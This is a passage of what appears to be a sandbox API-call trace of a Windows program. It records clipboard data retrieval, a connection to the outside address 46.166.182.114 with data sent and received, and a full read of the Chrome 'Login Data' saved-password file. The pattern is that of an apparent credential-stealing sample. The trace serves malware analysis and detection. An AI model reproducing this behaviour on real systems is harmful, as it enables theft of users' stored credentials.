(This=0x7e8250) returned 0x4 [0053.061] IUnknown:QueryInterface (in: This=0x7e8250, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e694 | out: ppvObject=0x26e694*=0x0) returned 0x80004002 [0053.061] IUnknown:Release (This=0x7e8250) returned 0x3 [0053.061] IUnknown:Release (This=0x7e8250) returned 0x2 [0053.061] CoGetContextToken (in: pToken=0x26ea94 | out: pToken=0x26ea94) returned 0x0 [0053.061] CoGetContextToken (in: pToken=0x26ea54 | out: pToken=0x26ea54) returned 0x0 [0053.061] IUnknown:AddRef (This=0x7e8250) returned 0x3 [0053.061] IUnknown:QueryInterface (in: This=0x7e8250, riid=0x26ead0*(Data1=0x10e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26eacc | out: ppvObject=0x26eacc*=0x7e8250) returned 0x0 [0053.061] IUnknown:Release (This=0x7e8250) returned 0x3 [0053.061] IUnknown:Release (This=0x7e8250) returned 0x2 [0053.062] IUnknown:Release (This=0x7e8250) returned 0x1 [0053.062] CoGetContextToken (in: pToken=0x26ed80 | out: pToken=0x26ed80) returned 0x0 [0053.062] CoGetContextToken (in: pToken=0x26ed40 | out: pToken=0x26ed40) returned 0x0 [0053.062] IUnknown:AddRef (This=0x7e8250) returned 0x2 [0053.062] IUnknown:QueryInterface (in: This=0x7e8250, riid=0x26edbc*(Data1=0x3cee8cc1, Data2=0x1adb, Data3=0x327f, Data4=([0]=0x9b, [1]=0x97, [2]=0x7a, [3]=0x9c, [4]=0x80, [5]=0x89, [6]=0xbf, [7]=0xb3)), ppvObject=0x26edb8 | out: ppvObject=0x26edb8*=0x0) returned 0x80004002 [0053.062] IUnknown:Release (This=0x7e8250) returned 0x1 [0053.078] CoGetContextToken (in: pToken=0x26ed50 | out: pToken=0x26ed50) returned 0x0 [0053.078] CoGetContextToken (in: pToken=0x26ed10 | out: pToken=0x26ed10) returned 0x0 [0053.078] IUnknown:AddRef (This=0x7e8250) returned 0x2 [0053.079] IUnknown:QueryInterface (in: This=0x7e8250, riid=0x26ed8c*(Data1=0x10e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26ed88 | out: ppvObject=0x26ed88*=0x7e8250) returned 0x0 [0053.079] IUnknown:Release (This=0x7e8250) returned 0x2 [0053.079] IUnknown:AddRef (This=0x7e8250) returned 0x3 [0053.079] IDataObject:QueryGetData (This=0x7e8250, pformatetc=0x26ef4c) returned 0x0 [0053.079] IUnknown:Release (This=0x7e8250) returned 0x2 [0053.082] CoGetContextToken (in: pToken=0x26ecdc | out: pToken=0x26ecdc) returned 0x0 [0053.082] IUnknown:AddRef (This=0x7e8250) returned 0x3 [0053.082] IDataObject:RemoteGetData (in: This=0x7e8250, pformatetcIn=0x26ef4c, pRemoteMedium=0x787820 | out: pRemoteMedium=0x787820) returned 0x0 [0053.083] IUnknown:Release (This=0x7e8250) returned 0x2 [0053.085] GlobalLock (hMem=0x2170004) returned 0x7e7d90 [0053.086] GlobalUnlock (hMem=0x2170004) returned 0 [0053.088] SendMessageW (hWnd=0x0, Msg=0x308, wParam=0x0, lParam=0x0) returned 0x0 [0053.088] GetLastError () returned 0x578 [0053.088] CallWindowProcW (lpPrevWndFunc=0x771625dd, hWnd=0x701ba, Msg=0x308, wParam=0x0, lParam=0x0) returned 0x0 [0053.088] GetLastError () returned 0x578 [0053.154] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efb4*=0x3c0, lpdwindex=0x26ed6c | out: lpdwindex=0x26ed6c) returned 0x80010115 [0053.154] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ef94*=0x3b4, lpdwindex=0x26ed4c | out: lpdwindex=0x26ed4c) returned 0x80010115 [0053.154] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ef94*=0x3bc, lpdwindex=0x26ed4c | out: lpdwindex=0x26ed4c) returned 0x80010115 [0053.154] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efe8*=0x3e0, lpdwindex=0x26eda0 | out: lpdwindex=0x26eda0) returned 0x80010115 [0053.154] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efe8*=0x3e8, lpdwindex=0x26eda0 | out: lpdwindex=0x26eda0) returned 0x80010115 [0053.155] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efe8*=0x3f0, lpdwindex=0x26eda0 | out: lpdwindex=0x26eda0) returned 0x80010115 [0053.155] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e4 [0053.156] GetLastError () returned 0x0 [0053.156] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e8 [0053.156] GetLastError () returned 0x0 [0053.156] WSAConnect (in: s=0x4e4, name=0x268836c*(sa_family=2, sin_port=0x50, sin_addr="46.166.182.114"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0053.179] GetLastError () returned 0x0 [0053.179] closesocket (s=0x4e8) returned 0 [0053.179] GetLastError () returned 0x0 [0053.179] send (s=0x4e4, buf=0x2688cc0*, len=263, flags=0) returned 263 [0053.180] GetLastError () returned 0x0 [0053.180] select (in: nfds=0, readfds=0x2688dd4, writefds=0x0, exceptfds=0x0, timeout=0x26eeb8 | out: readfds=0x2688dd4, writefds=0x0, exceptfds=0x0) returned 1 [0053.215] GetLastError () returned 0x0 [0053.215] setsockopt (s=0x4e4, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0053.215] GetLastError () returned 0x0 [0053.215] recv (in: s=0x4e4, buf=0x2687118, len=4096, flags=0 | out: buf=0x2687118*) returned 367 [0053.215] GetLastError () returned 0x0 [0053.216] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed3c*=0x3c0, lpdwindex=0x26eaf4 | out: lpdwindex=0x26eaf4) returned 0x80010115 [0053.216] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed1c*=0x3b4, lpdwindex=0x26ead4 | out: lpdwindex=0x26ead4) returned 0x80010115 [0053.216] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed1c*=0x3bc, lpdwindex=0x26ead4 | out: lpdwindex=0x26ead4) returned 0x80010115 [0053.216] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed70*=0x3e0, lpdwindex=0x26eb28 | out: lpdwindex=0x26eb28) returned 0x80010115 [0053.217] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed70*=0x3e8, lpdwindex=0x26eb28 | out: lpdwindex=0x26eb28) returned 0x80010115 [0053.217] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed70*=0x3f0, lpdwindex=0x26eb28 | out: lpdwindex=0x26eb28) returned 0x80010115 [0053.217] shutdown (s=0x4e4, how=2) returned 0 [0053.217] GetLastError () returned 0x0 [0053.217] closesocket (s=0x4e4) returned 0 [0053.218] GetLastError () returned 0x0 [0053.218] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e4 [0053.218] GetLastError () returned 0x0 [0053.218] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e8 [0053.218] GetLastError () returned 0x0 [0053.218] WSAConnect (in: s=0x4e4, name=0x268aed4*(sa_family=2, sin_port=0x50, sin_addr="127.0.0.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0054.223] GetLastError () returned 0x274d [0054.223] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x787820, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0054.223] GetLastError () returned 0x274d [0054.227] setsockopt (s=0x4e4, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0054.227] GetLastError () returned 0x0 [0054.227] closesocket (s=0x4e4) returned 0 [0054.227] GetLastError () returned 0x0 [0054.227] setsockopt (s=0x4e8, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0054.227] GetLastError () returned 0x0 [0054.227] closesocket (s=0x4e8) returned 0 [0054.228] GetLastError () returned 0x0 [0054.361] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x787820 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0054.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x26e550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0054.363] GetLastError () returned 0x3f0 [0054.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0054.397] GetLastError () returned 0x3f0 [0054.397] SetErrorMode (uMode=0x1) returned 0x0 [0054.397] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x26e9f8 | out: lpFileInformation=0x26e9f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0054.401] GetLastError () returned 0x3f0 [0054.401] SetErrorMode (uMode=0x0) returned 0x1 [0054.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e560, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0054.430] GetLastError () returned 0x3f0 [0054.430] SetErrorMode (uMode=0x1) returned 0x0 [0054.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x26e9e0 | out: lpFileInformation=0x26e9e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0054.430] GetLastError () returned 0x3f0 [0054.430] SetErrorMode (uMode=0x0) returned 0x1 [0054.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e504, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0054.432] GetLastError () returned 0x3f0 [0054.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e498, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0054.432] GetLastError () returned 0x3f0 [0054.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e4e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0054.432] GetLastError () returned 0x3f0 [0054.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e478, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0054.432] GetLastError () returned 0x3f0 [0054.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e4ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0054.432] GetLastError () returned 0x3f0 [0054.432] SetErrorMode (uMode=0x1) returned 0x0 [0054.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x26e92c | out: lpFileInformation=0x26e92c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0054.433] GetLastError () returned 0x3f0 [0054.433] SetErrorMode (uMode=0x0) returned 0x1 [0054.433] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e394, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x56 [0054.433] GetLastError () returned 0x3f0 [0054.433] SetErrorMode (uMode=0x1) returned 0x0 [0054.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0054.433] GetLastError () returned 0x0 [0054.433] GetFileType (hFile=0x4e8) returned 0x1 [0054.433] GetFileType (hFile=0x4e8) returned 0x1 [0054.435] ReadFile (in: hFile=0x4e8, lpBuffer=0x2697880, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x26e93c, lpOverlapped=0x0 | out: lpBuffer=0x2697880*, lpNumberOfBytesRead=0x26e93c*=0x4800, lpOverlapped=0x0) returned 1 [0054.436] GetLastError () returned 0x0 [0054.437] CloseHandle (hObject=0x4e8) returned 1 [0054.438] GetLastError () returned 0x0 [0054.443] VarDecCmp (pdecLeft=0x26ea30, pdecRight=0x26ea20) returned 0x2 [0054.514] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.514] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26e0fc | out: pdecResult=0x26e0fc) returned 0x0 [0054.514] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.514] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.556] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.556] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.556] VarDecRound (in: pdecIn=0x26d170, cDecimals=0, pdecResult=0x26d190 | out: pdecResult=0x26d190) returned 0x0 [0054.556] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.556] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d170, cDecimals=0, pdecResult=0x26d190 | out: pdecResult=0x26d190) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d170, cDecimals=0, pdecResult=0x26d190 | out: pdecResult=0x26d190) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.557] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d170, cDecimals=0, pdecResult=0x26d190 | out: pdecResult=0x26d190) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d170, cDecimals=0, pdecResult=0x26d190 | out: pdecResult=0x26d190) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d170, cDecimals=0, pdecResult=0x26d190 | out: pdecResult=0x26d190) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.558] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.558] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.559] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.559] VarDecRound (in: pdecIn=0x26d170, cDecimals=0, pdecResult=0x26d190 | out: pdecResult=0x26d190) returned 0x0 [0054.559] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.559] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.559] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.559] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.559] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.559] VarDecRound (in: pdecIn=0x26d1b8, cDecimals=0, pdecResult=0x26d1a0 | out: pdecResult=0x26d1a0) returned 0x0 [0054.559] VarDecRound (in: pdecIn=0x26d170, cDecimals=0, pdecResult=0x26d190 | out: pdecResult=0x26d190) returned 0x0 [0054.559] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) 